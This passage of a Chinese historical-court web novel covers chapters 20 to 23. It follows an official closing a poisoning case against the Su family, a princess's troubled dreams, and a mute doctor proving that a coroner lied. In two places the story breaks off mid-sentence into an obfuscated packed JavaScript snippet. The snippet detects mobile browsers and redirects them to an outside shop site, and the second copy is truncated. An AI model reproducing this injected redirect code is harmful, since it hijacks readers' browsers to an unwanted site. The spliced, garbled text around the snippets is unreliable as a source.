郇寰缓了会儿,见他直起身,敲了敲那发呆的仵作,“接着记:清酒浸过,初为棺身松香,梅花之味间杂其中,后为血气。”他转过身朝向郇寰,双目有如天上星河尽盛其中,“这是西南十万大山里越巫手中的邪方,我只曾听说过,配方不知,乱七八糟的东西混合在一起,研磨制成淡黄色粉末,可冲水服下,或兑水喷洒至空气中呼吸而入——” 他瞥了一眼那目瞪口呆的仵作,边扣上箱子,边继续说道:“若是服用,则死后白骨化,检查牙槽骨、腭骨、舌骨、上颌骨,便可见骨头发烂,刮下的黑色粉末就是毒药过量渗入骨头留下的残存;若是呼吸而入,死后鼻腔都会发烂,亦可从鼻甲骨上刮到类似粉末。” 话落,郇寰朝他一礼:“多谢。” 他不说话,只是由冬至引着经过郇寰身前不过几寸的距离时,忽然仰起头轻声询问:“你受伤了?” 郇寰下意识地退了半步拉开距离,“没有。” 他转过脸点头:“哦,好。” “怎么会这么问。” “你身上不仅有酒味、各种乱七八糟的熏香,还有很淡的一股药味。” 他的声音发凉,如同这入夏的夜末晨初,不过在荒山坟场熬了一夜的郇寰已经有些累了,并没有听出他话中有何不妥,只是笑了两声:“我忘记了,你的鼻子一直很灵。” “臣乔鑫拜见公主。” 很久没有见到乔致用了,沈明枳按捺不住心里的雀跃,小跑了几步,在他面前装模做样地理了理飞起的裙摆,轻咳了一声,故作严肃地摆手:“乔将军免礼。” 乔致用的身量很高,直起身时几乎将幼时沈明枳的视线挡去大半,但他很周道,与沈明枳说话时还会弓着身子,就怕公主的什么吩咐说得轻了他没听见。 可沈明枳觉得,眼前乔致用谨慎小心的神态和记忆里的那个人对不上,但分明脸还是同样俊得让人移不开,便不去多想,笑着仰头问他:“太子哥哥在吗?” 乔致用的嘴角不自然地扬起:“在。” 登时,沈明枳便提着裙子就要绕开山似的他,乔致用连忙一步后退堵住了东宫丽正殿偏殿的大门,“梅学士也在。” “那正好,我也有事要找他。”沈明枳歪着头,再要往他身后绕,这次他直接伸手横在了门前,惹得沈明枳频频皱眉以示不悦时,乔致用的脸上居然出现了诸如惭愧之类的为难神色,低眉顺目,似是下一刻沈明枳气得直接捶他、踢他都愿挨愿栽。 这太不像他了。 不过这个时候的沈明枳还是个有点娇纵的小姑娘,被乔致用的举动气着了,也不管三七二十一,就是一股脑地要冲进去。乔致用甲胄在身,腰间还配了剑,就怕一个不留神伤到了她,自然不敢真的动手拦,就这样连声劝不住,让沈明枳推开了偏殿紧闭的大门,绊到了高高的门槛,尖叫一声直接摔了进去。 沈明枳骤然从这样的梦中惊醒,不止地喘着粗气,下意识地就要支起身反手去摸自己大汗淋漓的后背,屈起的手肘就捅到了不知什么温热的东西上面,让她又是一惊。 早被惊动的郇寰连忙撑着上身往床沿退了退,等惊魂未定的沈明枳堪堪平复下来,方才拈了常服袖子给她擦去额角的汗。 沈明枳一向不肯露绌,在南海道遭了劫难、伤了根本、丢了半条命,可人前,她将所有的病气都掩饰得天衣无缝。故而郇寰也被她唬住了,以为是北上返程的一路慢悠悠调养得逐渐康健。结果呢,她是病得受累后连个安稳觉都求不得。 听夏至说,她一直在等窦宇的回复等到很晚,日上破晓之时就被噩梦惊醒,吃了药躺下久久难眠,等到自己从衙门里回来,就又碰见她被心魔魇着了。 郇寰觉出自己的混账来,有些不是滋味地在一旁看她平躺着盯着帐顶出神,不知在想些什么。 他终于忍不住这种沉默的折磨,问她:“梦到什么了?” 沈明枳的双瞳有了点算不上神采的神采,但她似是不想和郇寰说话,只是翻了个身面朝里躺了过去。 她不会和任何人说的,门开的刹那,突兀眼前的赫然是姜府那天的见闻。 幸好只是个梦,梦里的乔致用那样奇怪,现在想来,应当是那天拜访梅如故时提到了他,这才引人入梦。往日的记忆逐渐复苏,沈明枳记起,那个时候披坚执锐拱卫东宫的人,应当是窦宇的哥哥窦宙,他的小心谨慎,他的好脾气和软性子——真与梦里一模一样。 她不止做了这一个梦,梦得太多,她更说不清。但感觉不会说谎,一下子就点醒了她,让她知道,那是一个雨天,是化隆少见的绵绵春雨天,她还是垂髫之年,天下无双的朱遗思教她琴艺。 朱遗思不仅琴弹得好,曲子谱得好,脾气生得好,模样长得也好,还很投沈明枳的眼缘。他教出的学生,除了天赋极差的,如少女临川,极度顽劣的,如少年郇寰,几乎没有废人。沈明枳是个极其向上的好学生,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514318|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不废,成天要追着朱先生请教这请教那,连梅如故见了都会酸上两句,下回沈明枳轮到请教他的时候,便摆摆谱、挑挑刺、逗逗人。 朱遗思会在下午会来坤宁宫授课,所以沈明枳不打算出门,可“最是一年春好处,绝胜烟柳满皇都”。沈明枳是梅如故带出来的,对这自然万物就有着特殊的感觉,故而她出了门。 她不该出门的。 沈明枳叹息:“没什么,一点旧事。” 她的疏离冷淡,郇寰一清二楚,但熬一个通宵,太累太倦,他还是想挪得离她更近一点,伸手掖着薄纱似的一层被子、将她背后漏风的缺口堵上。 白天热,郇寰心里又想着事情,从府衙里回来就和衣在她身边躺了一会儿,更觉燥热。可沈明枳嫌冷,出了汗后更加冷,卷了被子躺得更加靠里。 就当郇寰撑不住要困得睡过去时,沈明枳不合时宜地开口了:“你怎么在这儿?案子呢?” 郇寰吐出一口气,“结了,苏世杰杀人,人证物证俱全,后续流程等我回京移交大理寺就行了。” 闻言,沈明枳讶异地转了个身面向他。 郇寰打起精神开始讲这一番天时地利人和:“殿下昨夜在采莲楼办的席面,广招当地大小官员都去拜礼,帮了臣大忙。苏家人觉得机不可失,想打我个意想不到,就策划了挖坟换骨一事,被冬至当场抓获;又亏有阴阳卫及时支援,才一个不漏都关进了大牢。” 他的气息不稳,喷在沈明枳的额头,一会儿轻一会儿重,似形象地写着“强弩之末”这四个字。可沈明枳见他的眼里,还闪出了异彩:“苏世杰在岭南游商手里买的毒,他心中有鬼,就露了破绽,正巧衙门里有个仵作曾从民间高人那里听过这种毒药,一验之后,果真如此。但仵作所说可能被苏家攻讦,最巧莫过于殿下从南海道带回的这位孙先生,居然在常携左右的古书里翻到了记载,白纸黑字,证据齐全。” “若没有这位孙先生、殿下也没办采莲楼的席面,抓住了苏家派去掘坟的人案子也差不多了,该招的都会招,只是要慢慢等,等他们出手、等他们熬不住、等他们不打自招。此事能如此迅速地圆满了结,还是多亏了殿下——” 沈明枳边想着他话中的“巧合”,边道:“你心里早有成算,能得如此局面也都是你的帷幄,与我其实并无关系,不必过分谦虚了。” 这是官腔,郇寰最熟悉、熟练不过了,也是最厌恶不过了,但听了她一两句顺势而为的褒奖,累极的郇寰倒也没这样膈应。 “但臣请殿下相助,这是事实,不知臣如何能够报答。” “你我虽是君臣,亦是夫妻,夫妇一体,没什么谢与不谢的。” 白璧有隙、破镜难圆。这是意料之中也是意料之外的回答,郇寰没有反应,就此睡了过去。 但他睡得并不安宁。 这案子并没有如他说的那样“结了”。 郇寰一直有预感,让他去撞破苏世杰与姜世琛的丑事只是意外。姜家人并不确定自己一定会出席,幕后之人也预料不到姜世训会领他去看姜家的赐物,而花瓶中的粉末是□□无疑。 这样一综合,幕后之人必然安排了其他推手。 沈明枳与那位陆夫人闯入阁楼也是偶然,但听闻姜十娘曾因好奇而擅闯阁楼,二楼左右两厢之间的楼梯口,有瓶形博古架,架上摆着的青色玉壶春瓶中只有稀疏的几只桃花,可按照姜十娘所说,她见了不少桃花插在瓶里。右厢是锁死的,盛了不少桃花的,只有左厢的那几只宫样瓷瓶。 姜十娘进了左厢。 左厢的钥匙姜二夫人手里也有一把。 更兼后来从姜世琛那里逼出了些许阁楼坠亡的真相,苏老太爷病逝后,苏世杰的口碑急转直下,私宅被闯、密道被开、曹家上诉,陈年旧事纷至沓来,真正压轴的大戏则是千呼万唤始出来的苏世杰杀妻杀子案。 只睡了两个时辰,郇寰就醒了。 21. 第二十一章 苏德惜 远远得见苏家巍峨的门庭前密密麻麻站着一群人。郇寰认出了姜世训和那天在阁楼里的几位姜家长辈,其余人的面容多少与苏世杰有几分相像,老少皆有,心焦神躁,翘首望着自己悠然而来的车架。 苏世杰一下狱,苏家的拜帖就递到了公主别院。但别院有皇亲国戚、也有阁老御史,不是说话的地方,苏家这一趟还得他亲自来。 自苏老太爷的灵堂出来,郇寰于台阶之上不经意地一望见,回字形复折的游廊下乌压压立满了披麻戴孝的苏家人,如临大敌又严阵以待,一呼一吸却又写尽了曾经氏族繁荣与积年家庙昌盛。他们面容模糊,可郇寰得见每个人的眼里都熊熊燃烧着“不合时宜”,仿佛这把无根之火能逼走自己这个不速之客。 “郇侯,这边请。” 确实不合时宜,但他还不能走。 郇寰褰袍下台,随苏家人走入游廊。到了地方,他从袖中取出那张拜帖,不轻不重地扔在了茶几之上,言辞之中几无客气:“苏都督已经从安西回来了?劳请引见吧。” 安西与苏州几乎遥相对立于大楚版图的东西,想几日之内横跨整个大楚无异于蹇人上天。 一直主持局面的男人约莫四十来岁,眉毛鼻子没有一处与苏悯相似,但正门照壁处郇寰就听过了介绍,他叫苏德恒,是苏悯同父异母的血亲兄弟。苏德恒谦卑拱手:“请郇侯赎草民冒用他人名讳之罪,十七德惜仍在安西,尚未回家。” 话落,苏德恒旁的一个五十来岁的男人接了他的眼色,顶着郇寰的如炬的目光上前一步,抖着手从茶几上取回了那张拜帖。 郇寰自不能以此与苏家计较,“这位是?” 男人持帖长揖一礼:“草民苏德权,行五。” 郇寰趁着苏德权低眉顺眼,定定看了一眼,似是能从这张浮肿的男人脸上看出几分荒诞的姣好。他虚虚回了一礼,提了一句废话:“看来诸位与苏都督是同辈。” 苏德恒恭敬应道:“是,德惜是我们这一辈最小的孩子。” 郇寰装得略略诧异。其实方才在灵堂上,他就看见了苏老太爷的名字,叫德柱,擎天之柱,立时有了推测。他在京里见过不少世面,白发红颜而老夫少妻,曾孙绕膝而幺儿落地,深宅大院屡见不鲜。苏悯比他年长“几岁”,与年逾耳顺的苏德柱差了一代人,是小巫见大巫,但郇寰就是觉得一种牛头对马嘴的荒谬油然而生。 “枝繁叶茂是家族之幸,那家中事,苏都督可都知道了?” 飞鸽传书也没有这么快的。但郇寰要的只是他们推出苏悯作盾牌的态度。 “事情一出,草民就已修书一封,快马送往安西,不日就可到德惜手中。” 郇寰垂眼,两指拿着茶盖薅着那有价无市的碧螺春,茶香四溢可飘七里,可他闻着索然无味:“这么说,苏都督现在拿不了你们苏家的主意了。” 苏家人俱是一噎。 苏德恒与苏德权对视一眼,又扫过堂上其他眼神躲闪的苏家人和姜家人,缓缓说道:“德惜既出身于此、成长于此、荣耀于此,那苏家的事就是他的事,他的事就是苏家的事,没什么他的、我们的各自主意,枝叶相连,根茎共生,是如何也分不开来的,那我们就不要劈开来、斩断了说,郇侯,您看如何?” 事实并非如此,但郇寰不说话,只在移开视线的同时,本着自己此行初衷,顺带偏了头颔了首以示认同。便也在这一瞬,他算是彻底明白了苏悯身上那种格格不入之感从何而来。 苏德柱身死,苏世杰下狱,而今的苏氏谁执牛耳一目了然。一个家族之内的权力更迭不比一场朝廷政变来得简单,苏德恒能杀出这条血路站到自己跟前这样硬气地说话,有他自己帷幄筹谋的功劳,更仰仗了苏悯的争气。苏悯生在局中又身在局外,却在无形之中牵绊了无数人的身家性命,他一辈子谨小慎微地避祸,误入此瓮并非他意,也几乎没有人问过他的意愿,就开始大言不惭地替他做起阴阳买卖。 得了郇寰的默许,苏德恒暗地捏了一把汗,“既如此,郇侯明察,苏家不孝子世杰之事……”说着,苏德恒就见郇寰又一偏首,神色不变,可周遭本就煊赫的气势更威压了几分,他登时住口。 “公堂之上已有决断,苏家若有不平,可找李知府说道。” 苏德恒又是一噎,姜世训等也紧张地看了过来。 苏家下帖的目的就是捞人,郇寰接了帖子亲来了地方便应有此默契,可如果郇寰此行不是为了和他们谈条件、销案底,无事不登三宝殿,那他要来做什么? 苏德恒看向了一旁眼观鼻鼻观心的苏德权,又扫过装作品茶神游天外的姜世训,一圈下来重新对上郇寰视线,毛骨悚然,嘴上喏喏:“是……是,郇侯指点的是,那……” 郇寰重新端起茶盏,“郇某听说苏家家大业大,在隔壁临川地界还有良田千亩、家仆万众,生意场上更是如鱼得水,丝绸茶叶各种生意都做到三秦去了?” “原先家中生意上的往来,都是大房一支在管,近年来不少产业都交到了世杰手中。现今长兄过身,逆子下狱,草民才薄德浅,临危受托,这才暂代家主收拾家业,对这些生意事不是非常了解。” 郇寰挑眉,将被苏德恒岔开的话头又捡了回来:“竟是如此。不过也是,生意毕竟是外头的应酬,外头的事情一时半会收拢不来也是正常,但这族产家业的情况,六老爷虽是临危受命,当家至今应该了如指掌了吧?” 他一口未喝,放下茶盏,“郇某曾闻苏家以‘忠孝’治家。就算情况危急,老太爷的丧事操办日久,六老爷来不及收权,可子承父业兄终弟及,六老爷既然当家,那苏家门楣之上的‘忠孝’二字也当传到了六老爷手上,六老爷与郇某讲上几句老太爷生前音容、渊源家学,应该不难?” 联系起临川府卖田风波,傻子才听不出来郇寰言此意彼,是借家学传承暗讽他们仍在承袭苏世杰一家子亲魏遗风。可苏德恒心中呐喊,面上还要装傻充愣,居然顶着姜世训等错愕的目光,真就讲起了老太爷生前往事。 听了不过两句,郇寰就摸清楚了苏德恒的打算。自己这个赵王派今日来不过“赏罚对错”,苏家亲魏绝对当罚,既然当罚,那就让脱罪无望的苏世杰一家子担尽干系,该杀杀、该剐剐,若能掀摊子将苏世杰留下的烂账一口气清算干净当然最好;如若不成要连坐牵连,再搬出苏悯挡上一挡,他们高枕也安卧。所以目前要务就是,他这个新当家的打死不认旧当家的烂账,必要时,恩断义绝也并非不可。 在不明郇寰此行真实目的前,这是苏德恒能想到的唯一办法。 但仍然是个蠢办法。 苏德恒走的这条路有前车之鉴,而前车之鉴就是苏悯。 逃是没有用的,这就是你死我活的背水一战。 郇寰恍惚想起了自己的岭南遭际。 他借着姜必文的人脉重返化隆,去官免职,一无所有,爵位旁落,一家子老小也与他毫不相干。若非他还是长子宗嗣,死的是他亲爹,母亲的牌位还在祠堂,侯府的门他都不想踏。可偏生,在一切回到正轨,爵位于他毫无裨益的时候,他却要去“抢”。 申不极曾戏说襄阳侯这爵位,于他们而言就如女人,并非离之就死的,可偏偏少了就没了滋味。郇寰只道申不极还是不懂——申家太安定了,兄友弟恭、父慈子孝,他自然可以颓唐荒废一辈子而吃喝不愁。 可他郇寰不能,比他过得还要糟糕的苏悯更不能。这不是空空一个虚名、几百两、几千两祖产的事情。若不想被这些贪得无厌的族友血亲撕咬得骨肉分离,那就得反过来掌控这头畜生、这些嘴,逃是没有用的。 没有金刚钻别揽瓷器活,可苏家本事一般,胃口却大,恨不得咬死魏王,附冀尾、攀鸿翮,就此从泥地里一跃登青天。鲍肆难生芝兰,可就是这样的豺狼堆里,“逃”出了苏悯这样一只肥羊。他们能用各种难缠下作的手段绊住苏悯,那他郇寰也可以仿效之、施行之,只需安抚住苏悯,整死几个无所倚仗的苏家掌事简直易如反掌。 但杀人不是目的。 郇寰露出了来到苏家后头一个淡薄的微笑:“苏家‘忠孝’不二,侍君如侍父,苏家儿孙这般孝顺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏德恒膝行后退,扶起几乎要摊到地上的苏德权,“还望郇侯见谅。长兄仍在之时,我兄弟几人只成天在家读书,长兄教诲谆谆,绝不许我们搅合入泥潭纷争,故而这么多年,我们兄弟几个对正事避之不及,眼界粗浅,胆小如鼠……故而,故而今日突然听得家中有这么多纷争,实在是……” 这是要将事情全都推到苏世杰身上了。 正好。 郇寰起身,再装作要扶,一旁的姜世训连忙起身帮忙,架着苏德权将人从地上托了起来。 “郇侯明鉴,我兄弟几个对这些事情真不知情,德惜常年不着家,更是一无所知。家族百年荣辱与共,长兄已去,长房凋敝,若罪愆过重人命难抵,我兄弟几个愿为家族赎罪,只望郇侯宽容,不要波及德惜……” 言及此,苏德恒嘴唇发白,苏德权在听见“为家族赎罪”五个字时,差点晕厥过去。 郇寰负手看着他们,默了片刻才说:“这些罪这些罚并不归本司管。” 刚站起来的苏德恒重新跪了下去:“郇侯!求您抬手!” 他属实没想到,赝品花瓶之事还没抖露出来,当家人就已经被吓成这样,抑或者,他们已经能演成这样。也罢,在这件事上,他只管达到目的,不必管是如何达到的。 郇寰终于隔着袖子,扶起了苏德恒,“既然不归本司管,不在其位不谋其职,那本司就不会指手画脚,六老爷大可放心。” 苏德恒重又站了起来,郇寰瞥了一眼姜世训,装作将将记起的样子补充道:“哦对了,今日郇某受邀前来,不期姜家老爷也在,正好,赝品一事便一并交代了。” 苏德恒猛地一扭头,姜世训也愣了愣。 郇寰“贴心”地给苏家人解释起“苏世杰赠姜世琛赝品”一事中的关节:“苏大少爷与姜二少爷真是情深意笃,居然将魏党私仿的贡品花瓶宽心相赠,着实不巧,这只花瓶的原件正摆在敝府大堂。其实随便模仿这只花瓶没什么大不了,只是这瓶子与贵府大公子杀妻案略有勾连,现已呈送到了李知府手中,封存于苏州府衙。” 惊雷滚落,苏德恒懵在原地。 姜世训也怔住了。他本不知赝品之事水深几何,现今听见苏世杰所赠的那只花瓶居然与党争勾连,那几只本就与姜家兴衰密不可分的贡品登时成了催命符。 折磨猎物于股掌常常能给猎手带来无边的兴奋,可郇寰兴致缺缺,“不过六老爷再三声明现在的苏家与魏党毫无瓜葛,清白无罪,既然如此,苏家也不必过分担心。” 22. 第二十二章 说谎者 郇寰还未出苏家,就见重重垂拱间、洞开大门外立着冬至与郇杭。郇杭专司亲卫和京中侯府家事,现下应该在臬司衙门帮他看着南北动向,怎么追到这里来了? 姜世训就见方才冷过脸、这时已然端得阳煦山立的郇寰别过苏家人,又受过了自己礼,便飒然登车离去。他耳畔又冒出了郇寰的那个承诺,旋即,随着郇寰的承诺如回天旋地之风,不久前、多年前的旧事席卷而来。 他无奈地想:家门不幸,横遭此祸。可遇见了郇寰,又是难以预料地走运。 那年下了苏州几十年都没有见过的一场大雪,他们家的生意也出奇地好,而郇寰还是个初出茅庐的年轻人,无父无母无妻无子无官无职,得苏家那位小庶女搭救,又走了老二媳妇的路子到了他家。 上门那天,他妹妹只在游廊里看了他一眼,就闹着非他不嫁。他就这么一个亲妹妹。既然老父答应相助,为防苏家捷足,又算是在化隆城里、承天殿上压下一注,与郇寰结姻只会有利无弊。 现在,姜世训终于相信,当年老父阻止他嫁妹与郇寰结姻是正确的行为。如若郇寰没能尚主,或许就到了不了今天的地位,庇佑他们姜氏一族恐怕艰难;又同时,他身上是非太多,而他们姜家就败于天元一朝的党争,升平一朝的浑水可不能再淌了。 姜世训朝苏德恒道:“接下来,该谈一谈我们两家的事了。” “你怎么来了?胡全德那里出事了?” 郇杭从怀里摸出一封公函,“京中来了口信,王爷问您手头事情如何。” 郇寰拆着公函,心里的不安更胜:“京里出事了?谢改之没办好事?” 郇杭摇头:“不知道,没说是什么事,但我猜,王爷想让主子您早点回京。” 冬至道:“该不会是和亲出岔子了吧?” “和亲与我刑部有什么关系?”郇寰一目十行扫过公文,心情更加糟糕,“郇杭,你快些去信问。” “怎么了?又有案子了?”冬至凑了过去,车子一晃,没看清满目蚂蚁爬出的是什么纹样,就听郇寰沉声吩咐:“不回别院了,去臬司衙门。” 冬至与郇杭对视一眼,郇杭即刻起身坐到了车厢外,命令车夫调转方向。 “主子?究竟出什么事情了?胡臬台又要让您顶缸了?” 郇寰将信递给他,“浙江又有案子了。” “嘉杭两地,商宦齐谋,改稻为桑,人命频发……”冬至从公函上抬头,木愣愣地问:“好好的干嘛要改稻为桑?国库缺钱了还是浙江缺钱了?” 郇寰阴沉地看着窗外的天,“不是钱的问题。” “那是田的问题?”话一出口,冬至一拍大腿:“对啊,改稻为桑是好事,且朝廷不增收赋税、不禁改桑田,农民改桑民每亩收入翻倍,又不是灾年不得不卖田,也不是朝廷下发的政策没人逼他们卖田,怎么就闹出人命了?” 郇寰的目光落到他脸上:“原来阎阁老是为了这个才急赶回京。” 冬至眨巴眼睛以示不解。 郇寰耐下性子,边给冬至解释,边给自己捋清脉络:“稻田改桑田首要之事为何?” “去官府申报?” “嗯,申报了呢?” “丈田?” 冬至立刻想到了苏家在临川府卖田一事,“又是丈田丈量出人命!” “千年田,八百主,圣上恐怕要革田了。”郇寰幽幽叹出一口气:“这不是我能插手的事——对了,让你探苏世杰的书房,可找到什么有用的东西?” “没有,那干净得跟家徒四壁没什么区别,一封书信都没有留下,什么古董字画都收了起来,我还去苏老太爷生前的书房翻了翻,也是烧得一干二净。” “动作倒快。” “主子,您将赝品一事交给胡臬台处置,便是本来就没打算放过苏家,那为什么不借此机会将苏都督‘拉拢过来’反倒将功劳推给了胡臬台?苏都督人又不在,又一向与家族恶交,他未必会领您的情,胡臬台也未必会领情,这不是吃力不讨好的事吗?” “水满则溢,月满则亏。圣上允许我南下查案,本着的就是制衡之心,若我借此大肆党同伐异,真就这样把江南道的天给掀了,你说圣上会不会对王爷容情?御史的弹劾会不会对我容情?” “可是主子……” 郇寰摆手,“不必多说。常为家族束缚的苏德惜能借此约束家族,我这一趟就不算白来,增益魏王之事他不会做,投靠我们的选择他也不敢做,他能这样中立于双王纷争,就是极好的结果。” “本宫在此谢过窦指挥使了。” 窦宇虽然不悦,但还是回了沈明枳一个更盛大的礼。既然礼已经到,那客套违心的话也就不必说了,窦宇继续背过身指挥阴阳卫的来往忙碌,突然想起了午后那哑巴孙医生的事情,耐着性子禀告道:“午后孙先生特意去拜访了那个‘见识过人’的衙门仵作,回来后就请拜见殿下,被臣拦了。” 沈明枳曾叫他看着孙先生,后来得了阎野放的授意,答应借兵给郇寰,就没有拦着孙先生看热闹,出乎意料他居然还帮上了忙。孙先生从外头回来时,沈明枳应当还在休息,虽然已经醒了,但郇寰在,窦宇拦得好。 沈明枳再度谢过,让夏至亲自去请,不一会儿,火急火燎的孙先生揣着本旧书跑了过来,催了笔墨立即写了四个大字递了过来:“仵作说谎。” 夏至接纸的手一抖,见沈明枳长睫下垂,遮去眼中异色,连忙将纸还到了孙先生桌上,听了沈明枳的吩咐就恭敬退出了厅堂,将门仔细带上。 孙先生连忙写道:“根本不是他验的尸。” 他写得急,笔干得如枯树枝桠也不愿停:“我亲自去看过尸体,舌骨上黑渍确实被人刮过,但有很浅很细密的锯齿状印子,若非天气好,粗看难以发现,我又去看过仵作的工具,没有可以对应得上的,他拿出来的刀刃也对不上。” 既然这名说出毒药来源的仵作没有刮骨的刀,那验尸者必另有其人。 “我也去问过他从何得知这种毒药,他说得清楚,是去年秋天在元和遇见的一个游方道人,因为道人所说的事情都骇人听闻,时间过去不久,所以他还清晰记得。我再问那道人长什么模样,他说得也清楚,但当我问他道人还说了什么事情,他却言辞闪烁,不愿与我透露。” 孙先生神色严肃。他其实和沈明枳同岁,看上去却沧桑得多,平日里不拘小节,也不愿打理他本来生得有几分疏朗意的样貌,一旦遇上和医理、药理有关的事情,那绝对是寸步不让、据理力争。 沈明枳凝视他脸上的认真,心里却擂起了喧阗的鼓声,“我听窦指挥使说,先生曾想去拜访苏州当地一位很有名望的女仵作?” 孙先生会意,将那支被他糟蹋过的笔搁下,拱手拜谢。 窦宇又被沈明枳遣出来陪闲人干私活,心里骂声连连。 钦差就要北上了,他还有一堆事情没有处理完,端王还成日里往外跑,阎阁老等还在苏州转悠,若是出了什么好歹,回了京让大哥知道了,岂不是要扒了他的皮?虽然说这孙先生很有本事,兖国公主在岭南遇险时就见过他的神通,但他阴阳卫指挥使的本职是扈从天子,出京拱卫皇亲就已经是丢脸丢大发了,每天不是给姓郇的官混子守棺材就是给赤脚医生鞍前马后,像什么话? 破落小院就在眼前,窦宇心不甘情不愿地吩咐乔装改扮过的手下化整为零,按照公主的意思四下去街坊邻里打探这位大名鼎鼎的仵作,自己脱了甲胄,换上平头护卫的装扮,亲自给车上的孙先生放马凳。 孙先生不忘拱手示谢,亲自扣了木门,片刻后听门内有女人嗓门嘹亮的高声询问随着越来越近的脚步声掷来:“哪位?” 窦宇捏着鼻子,按照事先说好的那样回道:“我家主人是随钦差北上的医生,听闻苏娘子大名,特来拜会切磋。” 门后静了静,就当窦宇耐心耗尽之时,门裂了一条缝,一张上了年纪的女人浮肿的脸露了出来,布裙彩染,俗不可耐。她上 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话落,她“砰”的一声将门摔上,自顾自的耻笑声越来越远:“还冒充衙门的人?衙门的人早上才来过……现在外地的公子哥真是没长脑子,也不打听打听,‘术业有专攻’,城西安乐巷的孙大夫专治花柳淋病,怎么找到这儿来了……我呸,晦气!” 窦宇咬牙,敢情这老女人把他们当作寻花问柳上门骚扰的公子哥了? 孙先生斗胆伸手拍拍窦宇紧绷的小臂,转过身就要走,听窦宇从牙缝里漏出几个杀气四溢的字眼:“就这么走了?” 孙先生上下扫了他一眼。 虽然说他是在岭南山野间长大,没见过世面,但跟着兖国公主的这段日子是大开眼界了。窦指挥使本就相貌堂堂,再加上他方才刻意演出的几分谄媚,让谁见了不以为是花街常客、情场浪子,谁知道他本来的性子这么冲。 孙先生怀疑窦宇敢和公主公然叫板。 他朝窦宇眨眨眼,窦宇晦气地撇过脸。 等马车慢悠悠驶出这条小巷,他们在另一条僻静到荒凉的巷子里等了会儿,收集消息的阴阳卫方才零零散散、陆陆续续地赶了回来。 “邻居说这院里就住了那女仵作和一个姓肖的婆子,不知道她们是什么关系,猜是主仆;几年前还有个上了年纪的男人来,听称呼是她舅舅,南边的口音很重,应该是西南那边的。” 窦宇奇怪:“她不是苏家的庶女吗?怎么还有南边来的舅舅?亲的?” 阴阳卫道:“是亲的,听说长得很像。邻居还说,每隔几年都会有‘贵客’到访。” 窦宇想起方才那肖婆子的话,问道:“衙门里的人?” 阴阳卫摇头:“他们说不是,车马衣裳都是富贵人家才用得起的,那男人又长得标致,不是当地人,官话说得标准,是以他们记得真切。” 窦宇语出惊人:“她的姘头?” 阴阳卫尴尬地看了一眼目瞪口呆的孙先生,“应……应该吧,那男人一来就呆很久,但又说不上很久……可就是很久,还三更半夜、掩人耳目地来……” 窦宇摸摸下巴上新长出来的胡茬,“看来传闻确有其事——对了,今早有衙门里的官差来找她吗?” 另一名阴阳卫道:“没有,但有别人从后门去的,提着东西,像是送礼的,哦对了,邻居说一定送了好酒,一坛子好酒,远远闻着味道就醇。” 孙先生一震,窦宇不由得频频皱眉:“衙门里有人求她办事了?” 话毕,孙先生开了箱子,从箱子里找了笔墨,铺平了纸张就在这逼仄狭小的、颠簸不定的车厢内奋笔疾书:“能翻墙吗?” 窦宇眼皮一跳,看他继续写:“只要验一下她的工具,看有无一把小刀,刀身修长,刀刃上有锯齿状浅层纹路。” 窦宇看看孙先生诚挚的眼神,再看看他狗啃过一样邋遢的字,心道就算自己拒绝了,回头他找公主告状,自己还得再跑一趟替他翻墙,便将已经在喉咙口准备着的“私闯民宅犯律”的话咽了下去,叫住马车,吩咐属下将人平安送回去,亲自整理了衣裳,蜻蜓点水般飞上檐壁,一眨眼消失在了青天白日。 23. 第二十三章 月蒙尘 窦宇的动作很快,等他哼着小曲,心情愉悦地给孙先生带回了肯定的消息,路过正堂就听见沈明枳和江聿洲等人闲聊着,正说到今年三月初春闱中第的年轻后生们。 吏部那个对众人履历状似无所不知的员外郎方继昌道:“我闻介御史一甲登科那年也差点在榜下被人抢了过去当女婿?” 沈明枳没听过这事,不由得起了兴致:“是哪家的?很有眼光。” 方继昌鲜见地讳莫如深,倒是江聿洲替他接话:“这件事末将知道,那年末将在皇城兵马司供职,就是守卫皇榜的,介御史是新科探花,一表人才,奈何家事单薄,当即就有富户要榜下捉婿,介御史宁死不从,那家人的家丁敢和兵马司动手,场面几近失控,最后还是路过的曹王殿下仗义相助。” 听见曹王也掺和了进去,沈明枳不由更加好奇,但方继昌不愿说,王立镛不知道,江聿洲说完了,不免失望。正此时,阎野放来了,沈明枳携众人起身让座。 “怎么了?老夫一来就没话说了?莫不是都在编排我吧?”阎野放大声笑道。 沈明枳微笑:“怎会?方才我正与诸位大人说起今年春闱能人辈出,顺便就聊到了您老点的介探花,榜下捉婿很抢手呢。” 说到介含清,阎野放说笑的意兴淡了几分:“老夫就主持过升平十七年那一回,就点过他这一个探花,他文章是不错,见解也独到周全,就是太年轻了。” 话里有话,可沈明枳不知原委,捉摸不透。但她没兴致去深挖介含清的往事,只是心神萦绕于“升平十七年”久久难散。这就是东宫病死的那一年,天气出奇的冷,三月初春闱结束,曲江宴刚过,悬水河才泛起桃花汛,疫病方才纵横三秦。 沈明枳只在方继昌等人的闲话里知道了,原来介含清的座师就是阎野放,但具体是哪一年的春闱她不知道,也没人提。不曾想,介含清居然就是这一年的进士。 若这样算来,他也不是刚刚入仕的御史小年轻了。过去多少年了,搭上左都御史、有阎阁老作恩师提携的介含清居然还只是个七品监察御史,混得有多糟糕可想而知。也难怪了,他这个性子,确实不像是浸淫官场多年的老人,也难怪大家都以为他还是初出茅庐的小年轻,连阎野放也这般叹息。 逐渐的,沈明枳记了起来。那天曹王宿醉未归,圣上发火,还是她替她这位助人为乐的九哥求的情。而那敢和皇城兵马司动手的人家好像也不只是富户,好像姓楚还是姓林的?当年在吏部就很说得上话。这也难怪方继昌人在屋檐下,支支吾吾不敢直言。 